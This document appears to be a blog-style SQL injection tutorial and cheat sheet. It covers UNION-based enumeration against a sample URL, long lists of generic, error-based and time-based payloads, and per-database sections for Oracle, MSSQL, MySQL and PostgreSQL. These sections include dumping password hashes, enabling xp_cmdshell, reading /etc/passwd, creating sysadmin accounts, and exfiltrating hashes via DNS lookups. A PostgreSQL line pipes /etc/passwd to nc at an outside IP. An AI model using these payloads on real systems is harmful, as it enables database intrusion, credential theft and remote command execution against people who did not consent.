When an application is vulnerable to SQL injection and the results of the query are returned within the application's responses, the UNION keyword can be used to retrieve data from other tables within the database. This results in an SQL injection UNION attack.

Example of vulnerable URL

  • http://vk9-sec.com/report.php?id=23’ order by 5--+

Now we will use Union select statement over here.

  • http://vk9-sec.com/report.php?id=23’ union select 1,2,3,4,5--+

what will it do is concatenate one more row to the output which will look like this

if you see any of these numbers printed in the webpage or the title or anywhere else then you can know the the developer is printing multiple rows. But in case you cannot see any of these numbers printed then you can simply invalidate the first query so that it won’t give any output and eventually your output will become the one and only output to be printed.

  • http://vk9-sec.com/report.php?id=23’ and 0 union select 1,2,3,4,5--+
  • http://vk9-sec.com/report.php?id=23’ and false union select 1,2,3,4,5--+
  • http://vk9-sec.com/report.php?id=-23’ union select 1,2,3,4,5--+
  • http://vk9-sec.com/report.php?id=null’ union select 1,2,3,4,5--+
  • http://vk9-sec.com/report.php?id=23’ && 0 union select 1,2,3,4,5--+

Any of the number must be printed in the webpage again as basic thing to understand is that programmer may be only printing some particular columns from the output, lets say the third one. So we if we can see 3 in the page then its good otherwise we can try the query below with some other values.

  • http://vk9-sec.com/report.php?id=-23’ union select 'hello1','hello2','hello3','hello4','hello5'--+

Now just try to find it inside the source code. If you find hello1 that means the first columns is getting printed and if you found hello2 then the second column is getting printed and so on. Still sometimes if the programmer is using mysql_real_escape_string it may create an error or else no output. We can simply avoid the usage of single quotes using hex values. Below is the encoded query for the above same query.

  • http://vk9-sec.com/report.php?id=-23’ union select 0x68656c6c6f31,0x68656c6c6f32,0x68656c6c6f33,0x68656c6c6f34,0x68656c6c6f35--+

One small thing to remember is that always add 0x before any hexadecimal value. Hopefully the above query should work and you will find the column which is getting printed on the webpage or inside the source code, now we can try some Default functions and variables, to get some information related to our target.

Variable/Function Output

@@hostname : Current Hostname

@@tmpdir : Temp Directory

@@datadir : Data Directory

@@version : Version of DB

@@basedir : Base Directory

user() : Current User

database() : Current Database

version() : Version

schema() : current Database

UUID() : System UUID key

current_user() : Current User

current_user : Current User

system_user() : Current System user

session_user() : Session user

@@GLOBAL.have_symlink : Check if Symlink Enabled or Disabled

@@GLOBAL.have_ssl : Check if it have ssl or not

As we know that third is the column which is getting printed so now we will use the above functions on place of that columns only.

To get the Current Database Name

  • http://vk9-sec.com/report.php?id=-23 union select 1,2,database(),4,5--+

To get the Current Version

  • http://vk9-sec.com/report.php?id=-23 union select 1,2,version(),4,5--+

To get the Current User

  • http://vk9-sec.com/report.php?id=-23 union select 1,2,user(),4,5--+

To get the Temporary Directory Path

  • http://vk9-sec.com/report.php?id=-23 union select 1,2,@@tmpdir,4,5--+

Data Extraction using SQLi

There are many ways to extract data using SQLi so first one is union based. First, I will show you the Queries and then show you how we can inject them.

Query: Select table_schema from information_schema.schemata

Injection: http://vk9-sec.com/report.php?id=-23’ union select 1,2,version(),4,5--+

Will give us names of all the Databases available. But as we found earlier that sometimes programmer may not be printing all the rows. He may be printing the first row from output. So in that case we can use limit keyword to enumerate the rows one by one.

First row

  • Select table_schema from information_schema.schemata limit 0,1--+

Second row

  • Select table_schema from information_schema.schemata limit 1,1--+

Third row

  • Select table_schema from information_schema.schemata limit 2,1--+

Forth row

  • Select table_schema from information_schema.schemata limit 3,1--+

In the above manner we can get each row one by one. Now let’s see how can we extract all the table names from a database.

Query :

  • Select table_name from information_schema.tables where table_schema='databasename'

Query for Current DB:

  • Select table_name from information_schema.tables where table_schema=database()

Injection :

  • http://vk9-sec.com/report.php?id=-23’ union select 1,2,table_name,4,5 from information_schema.tables where table_schema=database()--+

Above injection will give you all the rows at once, but if you want one by one then you can use limit.

First row

  • http://vk9-sec.com/report.php?id=-23’ union select 1,2,table_name,4,5 from information_schema.tables where table_schema=database() limit 0,1--+

Second row

  • http://vk9-sec.com/report.php?id=-23’ union select 1,2,table_name,4,5 from information_schema.tables where table_schema=database() limit 1,1--+

Third row

  • http://vk9-sec.com/report.php?id=-23’ union select 1,2,table_name,4,5 from information_schema.tables where table_schema=database() limit 2,1--+

Forth row

  • http://vk9-sec.com/report.php?id=-23’ union select 1,2,table_name,4,5 from information_schema.tables where table_schema=database() limit 3,1--+

After getting the Table Names we can move on and start collecting the names of Columns under any table. we can specify the table name as we have all the tablenames.

Query :

  • Select column_name from information_schema.columns where table_schema=database() and table_name='tablenamehere'

Injection :

  • http://vk9-sec.com/report.php?id=-23’ union Select 1,2,column_name,4,5 from information_schema.columns where table_schema=database() and table_name='tablenamehere'--+

If the above query do not give any output or an error. You can try to hex the tablename. And now we can try to get all the table names one by one if only one row is getting printed.

First row

  • http://vk9-sec.com/report.php?id=-23’ union select 1,2,column_name,4,5 from information_schema.columns where table_schema=database() and table_name='tablename' limit 0,1--+

Second row

  • http://vk9-sec.com/report.php?id=-23’ union select 1,2,column_name,4,5 from information_schema.columns where table_schema=database() and table_name='tablename' limit 1,1--+

Third row

  • http://vk9-sec.com/report.php?id=-23’ union select 1,2,column_name,4,5 from information_schema.columns where table_schema=database() and table_name='tablename' limit 2,1--+

Forth row

  • http://vk9-sec.com/report.php?id=-23’ union select 1,2,column_name,4,5 from information_schema.columns where table_schema=database() and table_name='tablename' limit 3,1--+

Now we know the database name, the table names and the column names so the last stage starts of extracting data from the columns. Now we have to specify from which column we want the data and from which table. Query and injection is simple at this stage

Query : Select column1, column2 from tablename

First row :

  • http://vk9-sec.com/report.php?id=-23’ union Select 1,2,concat(column1,column2),4,5 from tablename limit 0,1--+

Second row :

  • http://vk9-sec.com/report.php?id=-23’ union Select 1,2,concat(column1,column2),4,5 from tablename limit 1,1--+

Third row :

  • http://vk9-sec.com/report.php?id=-23’ union Select 1,2,concat(column1,column2),4,5 from tablename limit 2,1--+

Forth row :

  • http://vk9-sec.com/report.php?id=-23’ union Select 1,2,concat(column1,column2),4,5 from tablename limit 3,1--+

Extract multiple values from a single column

This uses the double-pipe sequence || which is a string concatenation operator on Oracle. The injected query concatenates together the values of the username and password fields, separated by the ~ character.

1. Find out the number of columns

  • http://vk9-sec.com/report.php?id=-23’ union Select null -- (fails)
  • http://vk9-sec.com/report.php?id=-23’ union Select null,null -- (succeeds)

2. Find out the data type

  • http://vk9-sec.com/report.php?id=-23’ union Select ‘a’,null -- (fails, not string)
  • http://vk9-sec.com/report.php?id=-23’ union Select null,’a’ -- (succeeds, string type)

3. This uses the double-pipe sequence || which is a string concatenation operator on Oracle. The injected query concatenates together the values of the username and password fields, separated by the ~ character.

  • http://vk9-sec.com/report.php?id=-23’ union Select null,username || ‘~’ || password from users --
  • http://vk9-sec.com/report.php?id=23’+union+select+null,username+||+'~'+||password+from+users--

This last alternative uses + instead of blank space to bypass security

Examining the database

When exploiting SQL injection vulnerabilities, it is often necessary to gather some information about the database itself. This includes the type and version of the database software, and the contents of the database in terms of which tables and columns it contains.

On Oracle databases, every SELECT statement must specify a table to select FROM. If your UNION SELECT attack does not query from a table, you will still need to include the FROM keyword followed by a valid table name.

Version oracle

  • http://vk9-sec.com/report.php?id=23’+union+select+null,banner+from+v$version--
  • http://vk9-sec.com/report.php?id=23 ' union select null,banner from v$version--

Version MySQL

  • http://vk9-sec.com/report.php?id=23’+union+select+null,@@version--+
  • http://vk9-sec.com/report.php?id=23’ union select null,@@version--+

Generic SQL Injection Payloads

'
''
`
``
,
"
""
/
//
\
\\
;
' or "
-- or #
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
'='
'LIKE'
'=0--+
OR 1=1
' OR 'x'='x
' AND id IS NULL; --
'''''''''''''UNION SELECT '2
%00
/*…*/
+ addition, concatenate (or space in url)
|| (double pipe) concatenate
% wildcard attribute indicator
@variable local variable
@@variable global variable
# Numeric
AND 1
AND 0
AND true
AND false
1-false
1-true
1*56
-2
1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+
1' ORDER BY 1,2--+
1' ORDER BY 1,2,3--+
1' GROUP BY 1,2,--+
1' GROUP BY 1,2,3--+
' GROUP BY columnnames having 1=1 --
-1' UNION SELECT 1,2,3--+
' UNION SELECT sum(columnname ) from tablename --
-1 UNION SELECT 1 INTO @,@
-1 UNION SELECT 1 INTO @,@,@
1 AND (SELECT * FROM Users) = 1 ' AND MID(VERSION(),1,1) = '5';' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --
Finding the table name
Time-Based:
,(select * from (select(sleep(10)))a)
%2c(select%20*%20from%20(select(sleep(10)))a)
';WAITFOR DELAY '0:0:30'--
Comments:# Hash comment
/* C-style comment
-- - SQL comment
;%00 Nullbyte
` Backtick

Generic Error Based Payloads

OR 1=1
OR 1=0
OR x=x
OR x=y
OR 1=1#
OR 1=0#
OR x=x#
OR x=y#
OR 1=1--
OR 1=0--
OR x=x--
OR x=y--
OR 3409=3409 AND ('pytW' LIKE 'pytW
OR 3409=3409 AND ('pytW' LIKE 'pytY
HAVING 1=1
HAVING 1=0
HAVING 1=1#
HAVING 1=0#
HAVING 1=1--
HAVING 1=0--
AND 1=1
AND 1=0
AND 1=1--
AND 1=0--
AND 1=1#
AND 1=0#
AND 1=1 AND '%'='
AND 1=0 AND '%'='
AND 1083=1083 AND (1427=1427
AND 7506=9091 AND (5913=5913
AND 1083=1083 AND ('1427=1427
AND 7506=9091 AND ('5913=5913
AND 7300=7300 AND 'pKlZ'='pKlZ
AND 7300=7300 AND 'pKlZ'='pKlY
AND 7300=7300 AND ('pKlZ'='pKlZ
AND 7300=7300 AND ('pKlZ'='pKlY
AS INJECTX WHERE 1=1 AND 1=1
AS INJECTX WHERE 1=1 AND 1=0
AS INJECTX WHERE 1=1 AND 1=1#
AS INJECTX WHERE 1=1 AND 1=0#
AS INJECTX WHERE 1=1 AND 1=1--
AS INJECTX WHERE 1=1 AND 1=0--
WHERE 1=1 AND 1=1
WHERE 1=1 AND 1=0
WHERE 1=1 AND 1=1#
WHERE 1=1 AND 1=0#
WHERE 1=1 AND 1=1--
WHERE 1=1 AND 1=0--
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
ORDER BY 4--
ORDER BY 5--
ORDER BY 6--
ORDER BY 7--
ORDER BY 8--
ORDER BY 9--
ORDER BY 10--
ORDER BY 11--
ORDER BY 12--
ORDER BY 13--
ORDER BY 14--
ORDER BY 15--
ORDER BY 16--
ORDER BY 17--
ORDER BY 18--
ORDER BY 19--
ORDER BY 20--
ORDER BY 21--
ORDER BY 22--
ORDER BY 23--
ORDER BY 24--
ORDER BY 25--
ORDER BY 26--
ORDER BY 27--
ORDER BY 28--
ORDER BY 29--
ORDER BY 30--
ORDER BY 31337--
ORDER BY 1#
ORDER BY 2#
ORDER BY 3#
ORDER BY 4#
ORDER BY 5#
ORDER BY 6#
ORDER BY 7#
ORDER BY 8#
ORDER BY 9#
ORDER BY 10#
ORDER BY 11#
ORDER BY 12#
ORDER BY 13#
ORDER BY 14#
ORDER BY 15#
ORDER BY 16#
ORDER BY 17#
ORDER BY 18#
ORDER BY 19#
ORDER BY 20#
ORDER BY 21#
ORDER BY 22#
ORDER BY 23#
ORDER BY 24#
ORDER BY 25#
ORDER BY 26#
ORDER BY 27#
ORDER BY 28#
ORDER BY 29#
ORDER BY 30#
ORDER BY 31337#
ORDER BY 1
ORDER BY 2
ORDER BY 3
ORDER BY 4
ORDER BY 5
ORDER BY 6
ORDER BY 7
ORDER BY 8
ORDER BY 9
ORDER BY 10
ORDER BY 11
ORDER BY 12
ORDER BY 13
ORDER BY 14
ORDER BY 15
ORDER BY 16
ORDER BY 17
ORDER BY 18
ORDER BY 19
ORDER BY 20
ORDER BY 21
ORDER BY 22
ORDER BY 23
ORDER BY 24
ORDER BY 25
ORDER BY 26
ORDER BY 27
ORDER BY 28
ORDER BY 29
ORDER BY 30
ORDER BY 31337
RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='
RLIKE (SELECT (CASE WHEN (4346=4347) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='
IF(7423=7424) SELECT 7423 ELSE DROP FUNCTION xcjl--
IF(7423=7423) SELECT 7423 ELSE DROP FUNCTION xcjl--
%' AND 8310=8310 AND '%'='
%' AND 8310=8311 AND '%'='
and (select substring(@@version,1,1))='X'
and (select substring(@@version,1,1))='M'
and (select substring(@@version,2,1))='i'
and (select substring(@@version,2,1))='y'
and (select substring(@@version,3,1))='c'
and (select substring(@@version,3,1))='S'
and (select substring(@@version,3,1))='X'

Functions and Variables

Oracle

Version

SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;
SELECT banner FROM v$version;
SELECT version FROM v$instance;

Comments

SELECT 1 FROM dual — comment
– NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name ‘dual’ when we’re not actually selecting from a table.

Current User

SELECT user FROM dual

List Users

SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; — priv

List Password Hashes

SELECT name, password, astatus FROM sys.user$ — priv, <= 10g.  astatus tells you if acct is locked
SELECT name,spare4 FROM sys.user$ — priv, 11g

 Password Cracker

checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10.

List Privileges

SELECT * FROM session_privs; — current privs
SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs
SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;

List DBA Accounts

SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles

Current Database

SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;

List Databases

SELECT DISTINCT owner FROM all_tables; — list schemas (one per user)
– Also query TNS listener for other databases.  See tnscmd (services | status).

List Columns

SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;

List Tables

SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;

Find Tables From Column Name

SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; — NB: table names are upper case

Select Nth Row

SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1)

Select Nth Char

SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’

Bitwise AND

SELECT bitand(6,2) FROM dual; — returns 2
SELECT bitand(6,1) FROM dual; — returns0

ASCII Value -> Char

SELECT chr(65) FROM dual; — returns A

Char -> ASCII Value

SELECT ascii(‘A’) FROM dual; — returns 65

Casting

SELECT CAST(1 AS char) FROM dual;
SELECT CAST(’1′ AS int) FROM dual;

String Concatenation

SELECT ‘A’ || ‘B’ FROM dual; — returns AB

If Statement

BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements

Case Statement

SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2

Avoiding Quotes

SELECT chr(65) || chr(66) FROM dual; — returns AB

Time Delay

BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT
SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — if reverse looks are slow
SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow
SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — if outbound TCP is filtered / slow
– Also see Heavy Queries to create a time delay

Make DNS Requests

SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual;
SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual;

Command Execution

Javacan be used to execute commands if it’s installed.ExtProc can sometimes be used too, though it normally failed for me. :-(

Local File Access

UTL_FILE can sometimes be used.  Check that the following is non-null:
SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;Java can be used to read and write files if it’s installed (it is not available in Oracle Express).

Hostname, IP Address

SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address
SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — gets hostnames

Location of DB files

SELECT name FROM V$DATAFILE;

Default/System Databases

SYSTEM
SYSAUX

Misc Tips

Get all tablenames in one string

select rtrim(xmlagg(xmlelement(e, table_name || ‘,’)).extract(‘//text()’).extract(‘//text()’) ,’,') from all_tables –  when using union based SQLI with only one row

Blind SQLI in order by clause

order by case when ((select 1 from user_tables where substr(lower(table_name), 1, 1) = ‘a’ and rownum = 1)=1) then column_name1 else column_name2 end — you must know 2 column names with the same datatype

MSSQL

Version

SELECT @@version

Comments

SELECT 1 — comment
SELECT /*comment*/1

Current User

SELECT user_name();
SELECT system_user;
SELECT user;
SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID

List Users

SELECT name FROM master..syslogins

List Password Hashes

SELECT name, password FROM master..sysxlogins — priv, mssql 2000;
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000.  Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.
SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005;
SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005

 Password Cracker

MSSQL 2000 and 2005 Hashes are both SHA1-based.  phrasen|drescher can crack these.

List Privileges

– current privs on a particular object in 2005, 2008
SELECT permission_name FROM master..fn_my_permissions(null, ‘DATABASE’); — current database
SELECT permission_name FROM master..fn_my_permissions(null, ‘SERVER’); — current server
SELECT permission_name FROM master..fn_my_permissions(‘master..syslogins’, ‘OBJECT’); –permissions on a table
SELECT permission_name FROM master..fn_my_permissions(‘sa’, ‘USER’);

–permissions on a user– current privs in 2005, 2008
SELECT is_srvrolemember(‘sysadmin’);
SELECT is_srvrolemember(‘dbcreator’);
SELECT is_srvrolemember(‘bulkadmin’);
SELECT is_srvrolemember(‘diskadmin’);
SELECT is_srvrolemember(‘processadmin’);
SELECT is_srvrolemember(‘serveradmin’);
SELECT is_srvrolemember(‘setupadmin’);
SELECT is_srvrolemember(‘securityadmin’);

– who has a particular priv? 2005, 2008
SELECT name FROM master..syslogins WHERE denylogin = 0;
SELECT name FROM master..syslogins WHERE hasaccess = 1;
SELECT name FROM master..syslogins WHERE isntname = 0;
SELECT name FROM master..syslogins WHERE isntgroup = 0;
SELECT name FROM master..syslogins WHERE sysadmin = 1;
SELECT name FROM master..syslogins WHERE securityadmin = 1;
SELECT name FROM master..syslogins WHERE serveradmin = 1;
SELECT name FROM master..syslogins WHERE setupadmin = 1;
SELECT name FROM master..syslogins WHERE processadmin = 1;
SELECT name FROM master..syslogins WHERE diskadmin = 1;
SELECT name FROM master..syslogins WHERE dbcreator = 1;
SELECT name FROM master..syslogins WHERE bulkadmin = 1;

List DBA Accounts

SELECT is_srvrolemember(‘sysadmin’); — is your account a sysadmin?  returns 1 for true, 0 for false, NULL for invalid role.  Also try ‘bulkadmin’, ‘systemadmin’ and other values from the documentation
SELECT is_srvrolemember(‘sysadmin’, ‘sa’); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.
SELECT name FROM master..syslogins WHERE sysadmin = ’1′ — tested on 2005

Current Database

SELECT DB_NAME()

List Databases

SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, …

List Columns

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

List Tables

SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

Find Tables From Column Name

– NB: This example works only for the current database.  If you wan’t to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects).
SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = ‘U’ AND syscolumns.name LIKE ‘%PASSWORD%’ — this lists table, column for each column containing the word ‘password’

Select Nth Row

SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row

Select Nth Char

SELECT substring(‘abcd’, 3, 1) — returns c

Bitwise AND

SELECT 6 & 2 — returns 2
SELECT 6 & 1 — returns 0

ASCII Value -> Char

SELECT char(0×41) — returns A

Char -> ASCII Value

SELECT ascii(‘A’) – returns 65

Casting

SELECT CAST(’1′ as int);
SELECT CAST(1 as char)

String Concatenation

SELECT ‘A’ + ‘B’ – returns AB

If Statement

IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1

Case Statement

SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1

Avoiding Quotes

SELECT char(65)+char(66) — returns AB

Time Delay

 WAITFOR DELAY ’0:0:5′ — pause for 5 seconds

Make DNS Requests

declare @host varchar(800); select @host = name FROM master..syslogins; exec(‘master..xp_getfiledetails ”\’ + @host + ‘c$boot.ini”’); — nonpriv, works on 2000declare @host varchar(800); select @host = name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) + ‘.2.pentestmonkey.net’ from sys.sql_logins; exec(‘xp_fileexist ”\’ + @host + ‘c$boot.ini”’); — priv, works on 2005– NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host.  Messy but necessary.
– Also check out theDNS tunnel feature of sqlninja

Command Execution

EXEC xp_cmdshell ‘net user’; — privOn MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default:
EXEC sp_configure ‘show advanced options’, 1; — priv
RECONFIGURE; — priv
EXEC sp_configure ‘xp_cmdshell’, 1; — priv
RECONFIGURE; — priv

Local File Access

CREATE TABLE mydata (line varchar(8000));
BULK INSERT mydata FROM ‘c:boot.ini’;
DROP TABLE mydata;

Hostname, IP Address

SELECT HOST_NAME()

Create Users

EXEC sp_addlogin ‘user’, ‘pass’; — priv

Drop Users

EXEC sp_droplogin ‘user’; — priv

Make User DBA

EXEC master.dbo.sp_addsrvrolemember ‘user’, ‘sysadmin; — priv

Location of DB files

EXEC sp_helpdb master; –location of master.mdf
EXEC sp_helpdb pubs; –location of pubs.mdf

Default/System Databases

northwind
model
msdb
pubs — not on sql server 2005
tempdb

MYSQL

Version

SELECT @@version

Comments

SELECT 1; #comment
SELECT /*comment*/1;

Current User

SELECT user();
SELECT system_user();

List Users

SELECT user FROM mysql.user; — priv

List Password Hashes

SELECT host, user, password FROM mysql.user; — priv

Password Cracker

John the Ripper will crack MySQL password hashes.

List Privileges

SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privs

SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privs

SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)

SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns

List DBA Accounts

SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;

SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv

Current Database

SELECT database()

List Databases

SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db — priv

List Columns

SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’

List Tables

SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’

Find Tables From Column Name

SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’

Select Nth Row

SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0

Select Nth Char

SELECT substr(‘abcd’, 3, 1); # returns c

Bitwise AND

SELECT 6 & 2; # returns 2
SELECT 6 & 1; # returns 0

ASCII Value -> Char

SELECT char(65); # returns A

Char -> ASCII Value

SELECT ascii(‘A’); # returns 65

Casting

SELECT cast(’1′ AS unsigned integer);
SELECT cast(’123′ AS char);

String Concatenation

SELECT CONCAT(‘A’,'B’); #returns AB
SELECT CONCAT(‘A’,'B’,'C’); # returns ABC

If Statement

SELECT if(1=1,’foo’,'bar’); — returns ‘foo’

Case Statement

SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A

Avoiding Quotes

SELECT 0×414243; # returns ABC

Time Delay

SELECT BENCHMARK(1000000,MD5(‘A’));
SELECT SLEEP(5); # >= 5.0.12

Make DNS Requests

Impossible?

Command Execution

If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar).  The .so file should contain a User Defined Function (UDF).  raptor_udf.c explains exactly how you go about this.  Remember to compile for the target architecture which may or may not be the same as your attack platform.

Local File Access

…’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files.
SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system

Hostname, IP Address

SELECT @@hostname;

Create Users

CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv

Delete Users

DROP USER test1; — priv

Make User DBA

GRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv

Location of DB files

SELECT @@datadir;

Default/System Databases

information_schema (>= mysql 5.0)
mysql

PostgresSQL

Version

SELECT version()

Comments

SELECT 1; –comment
SELECT /*comment*/1;

Current User

SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();

List Users

SELECT usename FROM pg_user

List Password Hashes

SELECT usename, passwd FROM pg_shadow — priv

Password Cracker

MDCrack can crack PostgreSQL’s MD5-based passwords.

List Privileges

SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user

List DBA Accounts

SELECT usename FROM pg_user WHERE usesuper IS TRUE

Current Database

SELECT current_database()

List Databases

SELECT datname FROM pg_database

List Columns

SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’)

List Tables

SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid)

Find Tables From Column Name

If you want to list all the table names that contain a column LIKE ‘%password%’:SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’;

Select Nth Row

SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;

Select Nth Char

SELECT substr(‘abcd’, 3, 1); — returns c

Bitwise AND

SELECT 6 & 2; — returns 2
SELECT 6 & 1; –returns 0

ASCII Value -> Char

SELECT chr(65);

Char -> ASCII Value

SELECT ascii(‘A’);

Casting

SELECT CAST(1 as varchar);
SELECT CAST(’1′ as int);

String Concatenation

SELECT ‘A’ || ‘B’; — returnsAB

If Statement

IF statements only seem valid inside functions, so aren’t much use for SQL injection.  See CASE statement instead.

Case Statement

SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A

Avoiding Quotes

SELECT CHR(65)||CHR(66); — returns AB

Time Delay

SELECT pg_sleep(10); — postgres 8.2+ only
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); –priv, create your own sleep function.  Taken from here .

Make DNS Requests

Generally not possible in postgres.  However if contrib/dblinkis installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights):

SELECT * FROM dblink('host=put.your.hostname.here user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);

Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”.

Command Execution

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — privSELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user

Local File Access

CREATE TABLE mydata(t text);
COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time
